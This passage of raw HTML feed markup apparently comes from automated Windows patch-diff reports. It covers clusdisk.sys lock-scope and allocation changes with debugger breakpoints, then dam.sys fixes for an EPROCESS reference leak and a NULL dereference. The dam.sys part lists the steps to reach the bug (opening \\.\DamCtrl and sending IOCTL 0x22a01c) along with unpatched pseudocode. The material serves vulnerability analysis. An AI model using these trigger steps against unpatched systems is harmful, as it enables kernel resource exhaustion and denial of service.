&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000af1b&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;array&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000af44&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;memset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;element&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;zeroing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pre-zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;state&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000af9e&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x35506443&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1c000b085&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;third&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x36506443&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect at &lt;code&gt;0x1c000af1b&lt;/code&gt; (post-allocation):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;@rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;L40&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;look&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;stale&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;kernel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;pointers&lt;/span&gt;
&lt;span class="sx"&gt;!pool @rax           ; pool header info&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Between &lt;code&gt;0x1c000af1b&lt;/code&gt; (allocation returns) and &lt;code&gt;0x1c000af44&lt;/code&gt; (memset) the element region is uninitialized, but the code path in between only stores the count and computes the element pointer — it does not return the buffer to a caller. The &lt;code&gt;memset&lt;/code&gt; runs before any use of the elements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger:&lt;/strong&gt; Reach &lt;code&gt;Pool::Arbitrate&lt;/code&gt; through the pool device-control path (&lt;code&gt;Pool::StartDefense&lt;/code&gt;). The exact IOCTL numeric value is not established from this diff.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; The allocated element region is zeroed by the &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1c000af44&lt;/code&gt; before use. The patched build allocates with &lt;code&gt;ExAllocatePool2&lt;/code&gt; (&lt;code&gt;0x1400099x&lt;/code&gt;), which zero-initializes, removing the transient uninitialized window. No leak to a caller is demonstrable in either build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.841&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exclusive lock &lt;code&gt;this+0x40&lt;/code&gt; no longer held across the &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; callback (callback moved before the lock; early return on failure)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pool::Arbitrate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.5074&lt;/td&gt;
&lt;td&gt;Hardening&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNx)&lt;/code&gt;→&lt;code&gt;ExAllocatePool2&lt;/code&gt; (zero-init); handle arrays wrapped in &lt;code&gt;CAutoArrayMemPtr&lt;/code&gt;. Still holds &lt;code&gt;this+0x40&lt;/code&gt; across the callback in both builds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolReadRegistrationKeys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8423&lt;/td&gt;
&lt;td&gt;Hardening&lt;/td&gt;
&lt;td&gt;Error-path free restructured (frees per path instead of at a common exit); &lt;code&gt;ExAllocatePool2&lt;/code&gt;. No memory-safety bug in either build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolReadReservationKeys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.843&lt;/td&gt;
&lt;td&gt;Hardening&lt;/td&gt;
&lt;td&gt;Same pattern as registration keys; initial buffer only &lt;code&gt;0x18&lt;/code&gt; bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolDeviceControl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.759&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusDskDeviceControl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8066&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Disk::IncrementDirtyPrCount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.726&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Disk::ScrubRegistrations&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.829&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8341&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Allocation-API change and a changed call signature (5-arg form in the patched build); see Finding 4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pool::StartDefense&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.6988&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Restructuring alongside &lt;code&gt;Pool::Arbitrate&lt;/code&gt;; allocation-API and cleanup changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Disk::PreemptAbort&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.5228&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusDskpDetachDisk&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9514&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Changed function; not analyzed in detail in this report&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The similarity values above are carried from the diff summary. Only &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; shows a clear security-relevant behavioral change; the remaining rows are allocation-API modernization, refactoring, or changes not analyzed in depth here.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.
&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/p&gt;
&lt;p&gt;No functions were entirely added or removed. All changes are within existing function bodies, confirming this is a targeted patch of existing logic rather than introduction of new security modules.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;Confidence&lt;/th&gt;
&lt;th&gt;Rationale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; lock-scope change&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High (change), Low (impact)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The before/after is unambiguous: the exclusive lock &lt;code&gt;this+0x40&lt;/code&gt; is held across &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; in the unpatched build and acquired after the callback in the patched build. The security impact (deadlock/contention) is unproven and is undercut by &lt;code&gt;Pool::Arbitrate&lt;/code&gt; keeping the same lock-across-callback pattern in both builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolReadRegistrationKeys/ReservationKeys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No use-after-free or double-free in either build; both free correctly. The change is error-path restructuring plus &lt;code&gt;ExAllocatePool2&lt;/code&gt; zero-init.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Pool::Arbitrate&lt;/code&gt; allocation&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NonPagedPoolNx&lt;/code&gt; is non-zeroing, but the element region is &lt;code&gt;memset&lt;/code&gt; before use and the raw buffer is not exposed to a caller. The change is allocation-API modernization plus &lt;code&gt;CAutoArrayMemPtr&lt;/code&gt; wrappers.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt; IRP leak&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The unpatched fall-through path reaches &lt;code&gt;IoFreeIrp&lt;/code&gt;; likely a false positive. The observable change is the allocation API and a changed call signature.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Assumptions / not established by this diff:&lt;/strong&gt;
- The exact IOCTL numeric values and input-structure layouts that reach &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt;, &lt;code&gt;Pool::Arbitrate&lt;/code&gt;, and &lt;code&gt;Pool::StartDefense&lt;/code&gt; are not recovered here; they would come from the routing in &lt;code&gt;ClusPoolDeviceControl&lt;/code&gt; / &lt;code&gt;ClusDskDeviceControl&lt;/code&gt;.
- Whether &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt; can synchronously re-enter &lt;code&gt;clusdisk.sys&lt;/code&gt; on a path that re-acquires &lt;code&gt;this+0x40&lt;/code&gt; is not visible in this diff. This is the crux of any deadlock/contention claim for Finding 1 and remains unconfirmed.
- Addresses prefixed &lt;code&gt;0x1c000xxxx&lt;/code&gt; are from the unpatched image; &lt;code&gt;0x14000xxxx&lt;/code&gt; from the patched image.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open questions:&lt;/strong&gt;
1. Confirm whether &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; can re-enter &lt;code&gt;clusdisk.sys&lt;/code&gt; and re-acquire &lt;code&gt;this+0x40&lt;/code&gt;; without this, Finding 1 is a lock-scope hardening rather than a deadlock fix.
2. Recover the IOCTL routing to establish which control codes reach the pool defense/arbitration functions.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>dam.sys — Kernel object reference leak (CWE-404) and NULL pointer dereference (CWE-690) in DampIoDispatch fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/dam_19a9d8af-dam-report-20260625-215636.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/dam_19a9d8af-dam-report-20260625-215636.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dam_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dam_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9905&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt; (&lt;code&gt;DampIoDispatch&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;122&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes two security bugs in the &lt;code&gt;DampIoDispatch&lt;/code&gt; handler for IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; (add-process-to-DAM-job): an EPROCESS object reference leak (the obtained PEPROCESS is never dereferenced) and a missing NULL check on &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; that produces a kernel NULL-pointer dereference under memory pressure.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — EPROCESS Reference Leak (CWE-404 / CWE-911)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Kernel object reference leak / improper resource lifetime management&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;DampIoDispatch&lt;/code&gt; (IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; sub-handler), base &lt;code&gt;0x1c000a3d0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The unpatched IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; handler opens the target process via &lt;code&gt;ZwOpenProcess(PROCESS_ALL_ACCESS)&lt;/code&gt; and then calls &lt;code&gt;ObReferenceObjectByHandleWithTag(... 'DamK', &amp;amp;v24, ...)&lt;/code&gt;, which increments the EPROCESS object's &lt;code&gt;PointerCount&lt;/code&gt;. The resulting &lt;code&gt;PEPROCESS&lt;/code&gt; (&lt;code&gt;v24&lt;/code&gt;) is used for &lt;code&gt;PsGetProcessImageFileName&lt;/code&gt;, &lt;code&gt;PsQueryProcessCommandLine&lt;/code&gt;, &lt;code&gt;PsGetProcessSessionId&lt;/code&gt;, and &lt;code&gt;DampAddProcessToJobObject&lt;/code&gt;. However, in the cleanup path the handler only calls &lt;code&gt;ZwClose(ProcessHandle)&lt;/code&gt; — it &lt;strong&gt;never&lt;/strong&gt; calls &lt;code&gt;ObfDereferenceObject(v24)&lt;/code&gt;. Each successful IOCTL call therefore leaks one EPROCESS reference permanently. The &lt;code&gt;EPROCESS&lt;/code&gt; structure for the target PID can never be freed, even after the process exits. This is both a resource-exhaustion primitive and a potential stale-object-lifetime hazard.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch fix:&lt;/strong&gt; The patch discards the entire &lt;code&gt;ZwOpenProcess&lt;/code&gt; + &lt;code&gt;ObReferenceObjectByHandleWithTag&lt;/code&gt; chain and replaces it with &lt;code&gt;PsLookupProcessByProcessId(PID, &amp;amp;Process)&lt;/code&gt;. A single unified cleanup block adds &lt;code&gt;ObfDereferenceObject(Process)&lt;/code&gt; with a NULL guard. This eliminates the handle entirely and properly releases the object reference on every path (success and failure).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point and call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;CreateFileW("\\\\.\\DamCtrl", FILE_WRITE_DATA, ...)&lt;/code&gt; — open the control device.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeviceIoControl(h, 0x22a01c, inputBuf, 8, ...)&lt;/code&gt; — send the IOCTL with a PID.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DampIoDispatch&lt;/code&gt; is invoked as the &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; dispatcher (&lt;code&gt;0x1c000a3d0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; branch runs: &lt;code&gt;ZwOpenProcess&lt;/code&gt; → &lt;code&gt;ObReferenceObjectByHandleWithTag&lt;/code&gt; → &lt;code&gt;PsGetProcessImageFileName&lt;/code&gt; → &lt;code&gt;RtlAnsiStringToUnicodeString&lt;/code&gt; → &lt;code&gt;PsQueryProcessCommandLine&lt;/code&gt; (query length) → &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;PsQueryProcessCommandLine&lt;/code&gt; (fill) → &lt;code&gt;DampAddProcessToJobObject&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Cleanup path: &lt;code&gt;ExFreePoolWithTag(P)&lt;/code&gt;, &lt;code&gt;RtlFreeUnicodeString&lt;/code&gt;, &lt;code&gt;ZwClose(Handle)&lt;/code&gt; — &lt;strong&gt;but no &lt;code&gt;ObfDereferenceObject&lt;/code&gt;&lt;/strong&gt;, so the reference count on the target EPROCESS is incremented and never decremented.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding #2 — NULL Pointer Dereference on Pool Allocation Failure (CWE-690 / CWE-476)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (DoS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Missing NULL check on allocation; kernel NULL-pointer dereference&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; Same &lt;code&gt;DampIoDispatch&lt;/code&gt; IOCTL &lt;code&gt;0x22a01c&lt;/code&gt; handler&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; After determining the required command-line length, the handler calls &lt;code&gt;ExAllocatePoolWithTag(PagedPool, len, 'DamK')&lt;/code&gt; and stores the result in &lt;code&gt;P&lt;/code&gt; (register &lt;code&gt;rsi&lt;/code&gt;). The very next call is &lt;code&gt;PsQueryProcessCommandLine(v24, P, len, 0, &amp;amp;len)&lt;/code&gt; — with &lt;strong&gt;no &lt;code&gt;test rax, rax&lt;/code&gt; / &lt;code&gt;jz&lt;/code&gt; check between&lt;/strong&gt;. If the allocation returns NULL (e.g., under paged-pool exhaustion), the kernel writes through address &lt;code&gt;0x0&lt;/code&gt;, producing an unrecoverable bug check. Additionally, &lt;code&gt;ExFreePoolWithTag(P, 'DamK')&lt;/code&gt; is called unconditionally afterward, which is also undefined behavior on a NULL pointer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch fix:&lt;/strong&gt; The patched code adds &lt;code&gt;test rax, rax&lt;/code&gt; immediately after the allocation. On NULL, it sets &lt;code&gt;rbx = STATUS_NO_MEMORY (0xC0000017)&lt;/code&gt; and skips to the unified cleanup, which itself guards &lt;code&gt;if (P) ExFreePoolWithTag(P, ...)&lt;/code&gt; so the free never executes against NULL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain&lt;/strong&gt; is identical to Finding #1; the dereference occurs at the second &lt;code&gt;PsQueryProcessCommandLine&lt;/code&gt; call (&lt;code&gt;0x1c000a6d8&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (vulnerable) — IOCTL 0x22a01c case ===&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22A01Cu&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// InputBufferLength&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Attributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... remaining OBJECT_ATTRIBUTES fields zeroed ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ClientId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UniqueThread&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ClientId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UniqueProcess&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;MasterIrp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// attacker PID&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;JobSilo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZwOpenProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1FFFFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ClientId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
